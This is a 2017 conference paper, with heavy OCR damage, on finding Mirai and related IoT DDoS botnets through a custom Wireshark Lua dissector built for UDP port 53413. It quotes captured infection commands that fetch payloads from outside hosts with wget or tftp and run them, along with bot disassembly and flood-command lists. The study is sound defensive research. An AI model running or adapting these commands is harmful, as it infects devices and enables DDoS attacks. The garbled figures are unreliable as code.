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ABSTRACT 
This paper presents a case study that occurred while observing peer-to-peer network 
communications on a botnet monitoring station and shares how tools were developed to discover 
what ultimately was identified as Mirai and many related IoT DDOS Botnets. The paper explains 
how researchers developed a customized protocol dissector in Wireshark using the Lua coding 
language, and how this enabled them to quickly identify new DDOS variants over a five-month 
period of study 
Keywords: IoT, Botnet, Mirai, Wireshark, LUA, DDOS 
1. INTRODUCTION 
The Internet of Things (IoT) has been the 
focus of much attention in the latter half of 
2016. It is well-established that the Internet of 
Things is growing at a rapid pace and the 
number of IoT devices already approaches the 
number of people on the planet [Nordrum, 
2016]. With this growth, security breaches 
could cause unprecedented damage to 
consumers and threaten the safety of the 
internet as a whole. The Federal Trade 
Commission is facing this problem by offering 
a $25k prize to anyone who can provide a way 
to protect against security vulnerabilities 
caused by out-of-date IoT devices 
[Commission, 2016]. At t he beginning of 2017, 
the FTC went even further, filing suit against 
D-Link alleging that they had misled the 
public by claiming their devices were secure, 
when in fact , their IP-cameras and routers 
were not [Fair , 2017]. 
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The problem came into the limelight when 
the website of famous security journalist Brian 
Krebs came under a Distributed Denial of 
Service (DDOS) attack with a speed of close to 
650 Gbps [Krebs, 2016a]. This attack surprised 
the information security world with its sheer 
magnitude, almost double the size of the 
previous record. Just over a month later, 
internet users around the world noticed when 
Dyn came under attack, again breaking the 
record at an estimated l.2Tbps [Hilton, 2016]. 
Both of these times the majority of the attack 
was directly attributed to the Mirai botnet. 
Mirai created an army of routers and various 
IoT devices forcing them to become a part of 
this onslaught [Krebs, 2016b]. As the scanners 
used by Mirai began to hit the botnet 
monitoring stations running in the authors' 
lab, it caused a temporary shift in focus from 
Kelihos botnet tracking towards Mirai botnet 
tracking. In the following paper, a brief case 
Page 27 
  
 
 
ADFSL Conference Proceedings 2017 
study is presented of how a distinctive purpose 
Lua decoder was developed for Wireshark to 
study IoT botnet traffic, and results of the 
investigation using the decoder are shared. 
2. BACKGROUND 
The researchers have been monitoring the 
Kelihos botnet, watching inbound traffic 
requests, because of the peer-to-peer nature of 
the botnet. By watching the inbound requests, 
one can learn the identity of other infected 
nodes which are asking the monitored node for 
commands, and this is helpful in trying to 
determine the size and scope of the botnet. 
Regular Kelihos traffic often makes a port 80 
request for a file that our monitored node can 
either provide directly or can serve as a proxy 
to provide. 
Beginning around August 4, 2016, requests 
began to be seen on a high-numbered UDP 
port (53413) instead. Wireshark, a network 
monitoring, network protocol analysis tool, 
believed that port 53413 was Skype traffic and 
displayed error messages that the protocol 
decode was failing. Upon manual review of 
these packets, it was learned that the traffic 
was trying to execute a Trivial File Transfer 
Protocol ( tftp) file download of a shell script 
file, but was doing so using a command prefix 
of busybox. 
"Busybox" is a commonly deployed binary 
on embedded Linux systems that allows a 
single executable to replace a large set of 
executables by emulating the function of many 
standard Linux commands [Vlasenko, 2008]. 
After discovering the purpose of the "busybox" 
prefix, it became evident that this traffic was 
not targeting the botnet monitoring station as 
part of Kelihos Command & Control traffic, 
but rather in the context of a scan to discover 
embedded Linux systems. Port 53413 was 
found to be a hardcoded backdoor port of 
particular Chinese-manufactured routers, with 
the most common being Net core and N etis 
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routers, as has been well documented since 
August 2014; TrendMicro recorded at least two 
million vulnerable routers on the Internet 
[Yeh, 2014]. 
3. EARLY EXAIVIPLE 
SCRIPT 
After discovering that this was not Kelihos, 
the researchers began gathering the files that 
the monitoring station was instructed to 
download as if it were an obedient Netis router 
following the given commands. It was on 
August 11, 2016, that it was discovered that 
the monitoring station was being invited to 
join an !RC-driven DDOS Botnet . This was 
done via the plain text command shown in 
Figure 1. 
cd /tmp II cd /vaI/run II cd /mnt II cd /shm II cd /root II cd /; 
wget bttp://64.13 7.205 .11/lol.sh; 
chmod 777 lol.sh ; 
sh lol.sh ; 
rm -rflol.sh 
Figure 1. First Received Commands 
This command directed any infected 
routers to change into a local directory, if it 
exists, named either / tmp, / var/ run, / mnt, 
/ shm, / root, or / . From that directory, the 
devices are then told to wget the file lol.sh 
from the IPv4 address 64.137.205.11. They are 
then told to wget the file lol.sh from the IPv4 
address 64.137.205.11. They are then told to 
make the file executable with chmod, execute 
its contents with sh, and then remove the 
"evidence" with rm -rf. The file contains 2 lines 
of code which have been separated into distinct 
commands in Figure 2 below. 
@ 2017 ADFSL 
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cd /tmp 1  cd /var/run II cd /mnt II cd /root II cd /-,rm -rf *;\ 
wget http:/164. 13 7.205.11 /xxms; 
cat xxms >busybox.;chmod 777 busybox;./busybox 
cd /tmp II cd /var/run II cd /mnt II cd /root II cd /;rm -rf *; 
wget http:1/64. 13 7.205.11 /xxsel ; 
cat xxsel >busybox.;chmod 777 busybox;./busybox 
Figure 2. File Contents 
These commands also attempt to change 
into a directory, if it exists, named either 
/ tmp, / var/ run, / mnt, / root, or / . However, 
once that destination is reached they are then 
directed to remove any files in that location. 
W get is then used to fetch xxms from the same 
location, 64.137.205.11. While the process has 
been similar up until this point, when it comes 
to execution the script contents are subtler. 
Using "cat" to rename the downloaded file to 
busybox, the new file is set to be executable 
with chmod, and is then executed as an 
application. This process is likely used so that 
anyone listing the running processes on the box 
would not see the DDOS bot 's name, but 
rather see "busybox" which should raise no 
alarms on a Netis router, where the file is 
factory installed. The second command goes 
through the same process with "xxsel." This 
second repetition deletes the original "busybox" 
file, but does not interfere with its functions 
because the original is already running in 
memory where it will remain until the next 
hard reboot of the router. 
3 .1 Multi-p1atfurm Progression 
September 23, 2016 
cd /tmp/; 
busybox tftp 208.67. 1.175 -c get tftp2.sb; sh tftp2 .sh; 
busybox tftp-r tftp l. sh -g 208.67. 1. 175; sh tftpl.sh; 
busybox wgct bttp://208.67 .1.175/gtop.sh; sh glop.sh; 
1.1 ftpgct -v-u anonymous -p anonymous -P 21 208.67.1.175 ftp l.sh ftp l.sh;sh 
1. 2 Figiu'e 3. Original Multi-p)atfi:rm 
@ 2017 ADFSL 
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By this time, the criminals had begun to 
realize that their binary could be running on 
many different platforms in addition to the 
Netis/ Netcore routers. To accommodate this, 
scanners began attempting to execute many 
different versions of the same binary, compiled 
for different chipset. For example, the "gtop.sh" 
in the command shown in Figure 3 above 
contained this set of commands: 
cd /tmp && wget -q hnpJ/208.67. 1.175/jackmymipsel && chmod +x jackmymipsel && Jjackmymipsel 
cd /tmp && wgct -q hnp) /208.67.1.175/jackmymips && chmod +xjackmymips && ./jackmymips 
cd /tmp && wge1 -q http://208.67.1. 175/jackmysh4 && chmod +xjad::mysh4 && Jjackmysh4 
cd /tmp && wgct -q hnp:/l208 .67 .1.175/jackmyx86 && chmod +x.jackmyx86 && ./jackmyx86 
cd /tmp && wgct-q hnp://208.67.1 .175/jackmyarm,·6 && chmod +x.jackmyannv6 && ./jackmyann,·6 
cd /tmp && wgct -q http://208 .6 7.1 .17S/jackmyi686 && chmod +x.jackmyi686 && ./jackmyi686 
cd /tmp && wgc1-q hnp ://208.67.1.175/jackmypowcrpc && chmod +x.jackmypowcrpc && ./jackmypowc 
cd /tmp && wgct -q hnp://208.67 .1.1 75/jackmyi586 && chmod +x. jackmyi586 && ./jackmyiS 86 
cd /tmp && wgct-q http://208.67.1.175/jackmym86k && chmod +x.jackmym86k && ./jackmym86k 
cd /tmp && wgct -q hnp://208.67.1.175/jackmysparc && chmod +x.jackmysparc && ./jackmysparc 
Figure 4. Contents of gtop.sh 
In this case, variants can be identified for 
the x86 , ARM, PowerPC, i686, i586, and Spare 
chipsets, based on the file names alone. Each 
command that is for the wrong chipset will fail 
to execute so that in the end, only one DDOS 
bot will be loaded into memory. 
Because the binaries tended to be ELF 
binaries, researchers used the Bokken open 
source reverse engineering tool, and the 
Inguma vulnerability research toolkit to 
perform disassembly and analysis [Koret , 2016, 
Torio, 2016]. The analysis revealed an internal 
command set making it understandable that 
DDOS was the objective. An example of this 
can be seen in the disassembly of the 
"processCmd" function shown in Figure 6. 
Some particularly interesting strings found in 
the code of the botnet include those shown in 
Figure 5. 
PING.TRIGGERED.HTTPFLOOD.UDPFLOOD.HUGFLOOD.KILLATTK. 
PLEASELETMEGO.DEVCLEAN 
Figure 5. DDOS Commands 
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Similarities in the source code revealed m 
our disassembly, exposed a high degree of 
similarity to the Lizard Squad code that was 
posted on GitHub in 2014. Although the code 
retrieved from the infected hosts is not in the 
An Accidental Discovery of IoT Botnets and ... 
same easy to read C code format as the 
LizardSquad 's, with the use of Bokken the 
parallels can easily be seen in Figure 7. 
4 . THE SPECIFICS OF 
ANIOT 
COJVIJVITJNICA TIO NS 
LUA DISSECTOR 
Wireshark uses a powerful embedded scripting 
language called Lua [Ierusalimschy, 2016]. The 
creators of Lua based much of its structure on 
a previous language called Sol. Since Sol means 
"sun" m Portuguese, they named their 
language Lua, which means "moon" 
[Ierusalimschy, 2001]. Within the context of 
Wireshark, Lua is used primarily as a 
dissector. Similar to JSON parsing, it allows 
the analyst to add conditions that Wireshark 
will check as it analyzes network packets that 
will cause certain portions of the packet to be 
identified as new fields. 
~~ :~~=-.. ~~d-. ~~~~ A,01 --- // \_ \/ _ \ I _ \ 
rl-lllv.,,ld!lll- illrd!,o~LO!ilibp,i,j· ~°'~' ""-•'°'•,i--, -',,!liir-..G .. E ""LU<.A"""LI"'P- ; ..-, LOxo"',e "', "'••,-•• •"'•J• .. • .. ••• .. <>"'·44""54,....,-. ·"'o,"'E .. ,U<.A . ... L "",· .. // / /\/ \// / / 
/\/\ - _(_)_ -
I \ I_. I I ' _ \ 
~: dword [ ebp -loca1_45], exb ; (0xb:4]•0 // /\/ / _/ _ \/ / I /\/\ \ (_I I I I I I 
\/ \/\_ ,_1_1_1 I_I :: =~!: =~: ~=~:=~~~=~=:!~ // \ __ /\/ \_/\ __ / 
aov eCll: , ctword ( ebp- loc a1_45 ] void processCmd (ine argc , unsigned char • argv []) 
::~ ~inpsb byte {esi l, byte pt r es : [ edi ] ; [0x170000081c:1] • 255 ; 28 { 
sdb Jtl. 
IIOV cl , dl 
sub cl , al 
110v al , cl 
110vsx eax, ill 
test eax, eilx 
jnc ~ 
sub esp , 8xc 
push dword (sy .. . ourIP] 
call U':! inct ntPP 
_ inct_ ntoa 
add esp, Bxle 
110v edx, dword {sy., .mainCommSock] ; {8x8864388:4]•8x322e31 ; "1.2 " @ 0x8864380 
sub esp, 4 
push eax 
push str .Hy_IP:_s ; "Hy IP : ~s " @ 0x80Sc951 
push edx 
call SY:! SPckPrintf 
add esp, ex10 
jap 0x884c-Hl 
aov eax , ctword {ebp + exc ] ; (0xc :4]•0 
aov eax, ctword l ea xJ 
110v dword {ebp -loca1_461, eax 
aov dword ( ebp - local_47], str .SCANNER_ON ; [ 0x80Sc9Sb :4]•0x4e414353 ; "SCANNER ON" 
110v dword [ ebp -loca1_48], 8xb ; {0xb : 4]•0 
,ld 
110v esi , ctword [ ebp-loc al_46] 
110v edi , dword {ebp-loca1_47 ] 
aov ecx , dword ( ebp- loc a1_48 ] 
r epe cinpsb byte {esi ], byte pt r es : [ edi ] ; [ 0x170000081c:1] • 255 ; 28 
seta Jti 
sctb Jtl. 
IIOV cl , dl 
sub cl , al 
110v al , cl 
110vsx eax, ill 
test eax, eilx 
Figure 7. Disassembly Compared to Source Code 
To create a Lua dissector for the type of 
communications used by the IoT botnets, it 
becomes necessary to register each area of 
Page 30 
i£ ( I strcmp (argv [ J, .. PING" )) 
{ 
sockprintf (mainCommSock , "PONG!" ) ; 
return ; 
I 
i£ ( 1 strcmp (argv [ ) , .,GETLOCALIP" )) 
{ 
s ockprinef (mainCommSock , "My IP: ~s" , inet_ntoa (our I P)) 
return ; 
i£ (1 strcmp (argv [ ) , .. SCANNER., )) 
{ 
if (argc , - .c;) 
{ 
soc kprintf (mainCommSock, "SCANNER ON I OFF" ); 
return ; 
i£ ( I strcmp (argv [ ~ ) , .. OFF .. )) 
( 
if (scanPid - ) return ; 
kill (scanPid, ); 
scanPi d - ; 
if ( ! strcmp (argv [ .... ] , "ON" )) 
interest so that it can be operated upon and 
displayed. Therefore, to build a dissector for 
the IoT network traffic we first determined 
@ 2017 ADFSL 
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which specific sections of the IoT 
communications were of interest to us. When 
we originally examined the traffic, the sections 
we considered to be important were: 
1. The directories ordered to traverse 
2. The IP address directed to download a 
file from 
3. The file to download 
4. The size of the command 
These sections were set using basic Lua 
regular expressions based off a streamlined 
command structure (";". ". /," "cd," etc.). After 
selecting the data that represented each 
section, we then registered each of these 
sections as a field and added them to 
Wireshark's tree display. The Lua file extends 
Wireshark by adding the desired dissector 
fields as a new protocol using the "Proto" 
command, and then declaring some "subtree" 
items and telling the dissector how to display 
them as shown in Figure 8. 
-Create Protocol 
botnet_proto = Proto("botnet". "For dissection of multiple botnets using udp port 534 13") 
- Create Protocol F iclds 
local directories= ProtoField.string("botnct.dir". "Dircctories" ,"Directorics to traverse") 
local directcdip = ProtoField.string(" botnet.dip" . "DirectcdIP". "IP to act on") 
Figure 8. Creating Fields 
One of the most useful aspects of 
registering a dissector this way is that it easily 
allows for the usage of protocol specific sorting 
of columns based on declared protocol fields, 
such as the IP address we were directed to 
download files from. In order to activate this 
dissector, it must be bound to a specific port 
so that it can process traffic over that port. In 
this case, the vulnerable Netis Router UDP 
port 53413 was chosen as it was consistently 
communicated with. The process for this 
activation can be seen in Figure 9 below. 
@ 2017 ADFSL 
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- Register this dissector to handle everything o,·er udp port S3413 
udp_table = DissectorTable.get("udp.port") 
udp_table:add(S34 13. botnet_prnto) 
Figure 9: Binding to Port 53413 
The rest of the logic of the Lua file parses 
the possible contents of the port 53413 packets 
and turns those into logical information that is 
now displayed as part of the packet decode. 
l·Ut ll1WIH M·i· :I diidti l·JHJMUJ XGEMi' Hlflfi UUt 
:ii Ethernet 11, Src: cisco_bf:36:40 (58:Sd:09:bf:36:40), ost: vware..Jc:ba:cb (OO:OC:29:7c: ~ 
ii Internet Protocol version 4, Src: 211.228.144.16 (211.228. loLl.16), Dst: ..-...:~ 
:ti user Datagraa Protocol , Src Part: 42332 (42332), ost POrt: 53413 (53'13) 
B eotnet Protocol 
8 Info 
suffersize:123 
Directories: cd / tr,;i II cd / vM/ JI cd /dev/ ; 
oirectedIP: 91.134.141.49 
full Request: busybox tftp -rain -g 91.134 . 141.49 
fileRequested: ain 
8 Aetions 
All actions to perfora: cp /bin/sh . ;cat ain >sh;ctaod 777 sh; ./ sh 
a Files 
Additional Files: sh 
Fi_qure 10. UDP Bot Filter Applied in Wireshark 
In Figure 10 above, packets have been 
filtered only to show port 53413 packets, which 
are displayed as being of the "UDP Bot" 
Protocol type. Packet 10 is decoded showing a 
tree entry for 
"Bot net Protocol" containing three 
subsections, Info, Actions, and Files. Within 
the subtree Info, the number of bytes in the 
command is given as "Buffer Size:," Directories 
being sought, in this case "/ tmp," "/ var," and 
"/ dev" are displayed, along with the IP address 
to which we are instructed to fetch files. The 
Full Request is displayed: "busybox tftp r min 
g 91.134.141.49" as well as the name of the file 
requested: "min." 
This was sufficient for the original 
simplified commands, however, once the traffic 
became more complex it was necessary to 
create more complex rules for determining the 
sections as well as to create additional fields to 
accommodate for said sections: 
Page 31
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5. All other actions we were directed to 
take 
In some cases, when there were a large 
number of additional actions listed, Wireshark 
would truncate the displayed data. To 
compensate for that, we created three 
supplementary subsections that each divide the 
data into three visible nontruncated sections. 
Over time, the Botnet authors created 
more complex messages, sometimes including a 
wget, tftp, and curl directive in one packet. To 
ensure that all relevant data was available we 
created another field that expanded as needed 
to include all files mentioned. 
Having established the relevant fields, we 
then 
set it up so that the dissector could 
recognize the difference between wget, ftp, 
"netcore," "GET / HTTP / 1.1 Host: www," and 
malformed packets. Lastly, we registered the 
dissector to only UDP port 53413; however, 
this did not overwrite preexisting dissectors for 
port 53413, such as DNS Mail exchange 
queries. 
The dissector code is partly modelled on 
the dissector.lua code found on Daniel Mack 
( AKA Zonque) 's [Mack, 2017] Github page 
and from Github user Jon Tai (AKA jtai)'s 
statsd dissector.lua [Tai, 2016]. 
5. OBSERVATIONS 
FROM OVER 250 
DOWNLOADS 
We have observed several distinct families of 
botnets, including the most well-known, the 
Mirai bot net; however, the most commonly 
found binaries were "custom" botnets . These 
binaries were primarily made up of source 
code, copied from Paste bin [Paste bin, 2017], or 
a similar site, with a few minor changes. The 
most commonly used base for the samples we 
encountered was old "stolen" LizardSquad code 
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that is still available on the page of GitHub 
user 'gh0std4ncer' [Post stolen IRC bot source 
from Lizard Squad, 2015]. The first commit of 
this code was even titled "Post stolen IRC bot 
source from Lizard Squad." This essential tool 
template was most used by individuals with 
some understanding of coding. The influences 
of this code can be seen in the lightaidra, STD, 
and other botnets [MalwareMustDie, 2016] in 
Figure 11. 
void StartTh eLelz () 
31 
II 
// I\ /\ I \I \ I _ \ I I I 
I I I I \ \I I\ I I = ) I I _ \ ) I I _ \ I _ \ I _ ' I 
I I \ \_/ I I _I I _ / I I I I (_I I (_ ) I (_ I I 
II \ _ /_, ' \/ \I I_ !\_ / \ _ / \ _,_ I 
void :,en d ODP(unsi9ned char • tar9 et , int p o r t, int tin:eEn d , int :,poo!it , int pac 
31 
II 
-- -
II I _ \I _ \ I _ \ I _ \ I _ _ _ I I 
II I I\/ I I I )/ I \ I J/ \ / \ / · I 
II I I I/_ / ~ I I / - I I (=I I (= ) t (= I I 
II \I \ _ /\/ \I 1_ 1\_ / \ _ / \ _ , _ I 
void :,endTCP(un:iioned char • taroet , int port , int t.imeEnd, int :,poo ! i t , u."'1:,1one, 
31 
II 
I I \ \ I\ I\ /\ \ \/\ /\ I \ I I I 
II \\II \ \I \I I II_/ I _\1 1/ _ \ / _ \ / _ . I 
I I I\_I I\ \_/ I I\ I \ I I ) ) (_) I (_) ) I_I I 
II \ _ / \ _ /\_\ \/\/ \I \I 1_ 1\_ / \ _ / \ _,_ I 
void :,en d JUNK (un:,19ned char * ip , int p o rt , int end time) 
31 -
II 
- - -
II I\ /\_ I I _ I I / _ \ I _ _ _ I I 
II I I_/ I _ \I II _ • I I _\ I II _ \ I _ \ I _ . I 
II I I ( ) I I ( I I I I I I ( ) I ( ) I ( I I 
II \I I_/ \ _=_/ 1_ 1\-=:,_1 \/ 1_ 1\-=-I \ -=-I \ -=:, _ 1 
void .sendHOLO(un.sioned char • ip , int port , int e nd_tin:.e) 
3( 
II 
II \ _ \I_ \ I _ \ I\I\ __ (_ I __ 
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Figure 11. Influence of the Code 
The next category of binaries we 
encountered was from individuals who did not 
seem to know what they were doing but were 
able to purchase or rent other hacker's code. 
The hallmark for these types was the frequent 
usage of built-in tutorials. These most 
commonly took the form of lists of IRC 
commands, as displayed in Figures 12, and 13 
with comments as to the purpose of each 
function. 
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The binaries containing tutorials were 
paradoxically more complex than many of the 
custom-built systems and had significantly 
more functionality. The next category is 
reserved for the fastest growing/ resurging 
botnets we have under observation, Kaiten 
[Shellz, 2016], and Mirai [Gamblin, 2016]. 
Kaiten has quite a bit of built-in tutorials and 
helpful hints on how to use it , but what 
differentiates it from the other similar botnets 
is its sheer number of available functions. 
From "XMAS" attacks to website flooding to 
an STD botnet style "non-spoof UDP flooder" 
Kaiten has every tool and more importantly, it 
is only growing. We cannot speak for the 
community as a whole, however, in the files we 
have observed Kaiten is the fastest growing 
"User-friendly" botnet whose code is available 
online. 
The last distinctly different family that we 
have encountered is the well-known Mirai 
botnet. What distinguishes the current 
generation of Mirai from the other botnets is 
its obfuscation. Up until Mirai became 
popular, it was rare to see a binary that had 
any real attempts at obfuscation. The base 
binary itself does not have particularly 
concerning additional capabilities, but the fact 
that its code is not immediately readable to 
anyone may indicate a change in the skill 
based stratification of hackers. 
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lfcnl si,.httpilood493 
I ; argint arg12 ! ebpf0x6 
l ;argintarg-,- !ebpfOxE 
I ; argintarg-4 ! ebpfOxlO 
I ; var int local O ! ebp-010 
I ; var int local-1 ! ebp-Ox4 
;-- •im.http flood: 
Ox08048c!d -1",h ebp 
Ox08048c8e a,vel!), e,p 
Ox0804ic~ lUbe,p, 0'38 
Ox0!048cS3 "'!'dwrd lel!) !Oxc), 6 
Ox08048c91 jg0x8048c"3 
' llll1JJ 4.l.2'!018062114 
; 10x6 :41'1 
; 'U,ige :HT!Pi100D.mst .. port .. file .. size linl!BI .. o,nneciinns .. tll:\!llut lseo,ndll .. d!layll>illi.Jeo,llis l.' 
4.1.2' !Ox80Hee0 
Figure 12. IRC Commands in Code 
"NOTICE %s :TSUNAMI <1argc1> <secs> = Special packc1u that wont be blocked by most firewalls." 
"NOTICE %s :PAN < target> < port> <secs>= An advanced syn floodl!r that will kill most network driver$.' 
"NOTICE %s :UDP <targct> <pon> <secs>= A udp flooder." 
"NOTICE %s :UNKNOWN <target> <secs> = Another non-spoofudp flooder." 
"NOTICE %s :WEBSITE <url> <secs> = A HTrP/HTfPS FLOODER." 
"NOTICE %s :STD <target> <port> <secs> <packet size>= Another non-spoofudp flooder." 
" OTICE %s :NICK <nick> = Changes the nick of the client." 
"NOTICE %s :SERVER <serYcr> = Changes seivcrs.M 
M 10TICE %s :GETSPOOFS = Gets the current spoofing." 
"NOTICE %s :SPOOFS <subnet> = Changes spoofing to a subnct.M 
Figure 13. IRC Commands from Strings 
6. THEMOST 
POPULAR AND ELUSIVE 
HOST 
The monitoring station has been instructed to 
access the IP address 91.134.141.49 over 700 
times in the course of this study. To better 
understand the magnitude of this fact, the 
next closest IP address involved is 
50.115.172.10 with only 180 instructed 
downloads. The number of times instructions 
to access this IP is certainly significant, but it 
is also important to note that this "busybox" 
command was received from at least 120 
unique IP address. Throughout the process, 
researchers have consistently fetched the files 
that were being commanded, but have always 
been met with the same 403 Permission 
Denied. These statistics on 91.134.141.49 are 
important to note, but this IP address is also 
of interest for different reasons. 
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There are several facts about this IP 
address that are not directly part of this study 
but are fascinating from the perspective of 
other researchers. The first is that VirusTotal, 
a Google-owned site that encourages people to 
submit malware and dangerous URLs for 
review, first listed this IP address on 2016-07-
26, which coincides with the first day recorded 
by the authors as well [VirusTotal, 2016]. The 
second fact is that 91.134.141.49 is hosted in 
France on an IP address leased from 
traditional hosting company OVH. The third 
fact of interest is that all IP addresses that 
have directed us to request files from 
91.134.141.49 have only directed us to 
91.134.141.49. The fourth is that 91.134.141.49 
is listed as a mail server for tablet5 [dot ]com 
and has all expected MX ports responding, but 
also inconsistently has FTP and HTTPS 
available for discovery. This port availability is 
important as it indicates maintenance and 
potentially intentional control of available 
services and files. Lastly, the majority of 
requests directed at it are "busybox tftp" which 
requests FTP services. Given this information, 
if 91.134.141.49 is intentionally hosting 
malicious files it is part largest IoT botnet that 
we have observed. 
7. THE EVOLUTION OF 
AN IOT BOTNET 
We have also been able to use the information 
we have obtained from our tools to track 
changes in the botnets over time. Some of this 
was touched on earlier in our discussion of the 
different botnet families, but it is important to 
note the distinction between different botnet 
families and the change in a particular family 
or node. The case of the IP address 
185.61.138.211 is a particularly suitable 
example of the change in a particular family. 
On three separate occasions, files were 
retrieved from the host, each time maintaining 
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a similarly numbered naming scheme, as can 
be seen in the Figure 14. 
I . I 185.61.138.211_20160926 I . 1185.61.138.211_20160831 I . I 185.61.138.211_20160829 
- Home Share Vi tw - Hom, Shatt View - Home Share V1tw 
® • t • AIIB... • 185.61 
Name 
[J 10 
[J 11 
[] 12 
lJ 1l 
0 14 
l.] 11 
[] 16 
[] 17 
[J bin.sh 
[) bin2.sh 
Name 
D 10 
LJ 11 
J 11 
Ll 1l 
LJ 14 
J 11 
lJ " 
L] 17 
[J bin2.sh 
t • AllB ... • 185.1 
Name 
[] 11 
[j 22 
[j 33 
lJ 44 
[l s, 
LJ 66 
LJ 77 
lJ 88 
[_j gg 
Lj bins.sh 
l.J x32mx 
lJ "6m, 
t • AIIB ... • 185.1 
Figure 14. Files Retrieved Over Time 
Despite that, the only file that remained 
unchanged across the one-month period was 
the shell file bin2.sh. The first samples show 
components of the STD, LizardSquad, and 
other botnets (StartTheLelz , PROBING , 
STD); and include the scanner, sendSTD, 
sendHOLD, sendHTTP, and sendTCP utilities. 
The next generation of files taken on 2016-08-
31 had dropped some of the previous versions 
utilities as well as its user agent section for a 
more robust feature set and an increased focus 
on FTP and RPC usage. The 3rd generation 
moved on to the usage of the Pokmon botnet. 
This production included substantial changes 
in its operational methods including the 
specific use of an SSH scanner, Telnet scanner, 
RPC exploits, and a continued usage of FTP. 
8. CONCLUSION 
Over a five-month period of observation, the 
authors have moved from noticing strange 
inbound traffic on a botnet monitoring station 
to having developed a sophisticated method of 
isolating IoT botnet scanners and automating 
the process of determining what commands 
they are attempting to deliver. Through this 
process the advantage of building a custom 
Lua dissector in Wireshark was demonstrated 
and a considerable number of IoT DDOS C&C 
and distribution points were identified. While 
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this study focused on monitoring a single 
commonly exploited IoT UDP port , future 
work will expand to monitor many additional 
ports. 
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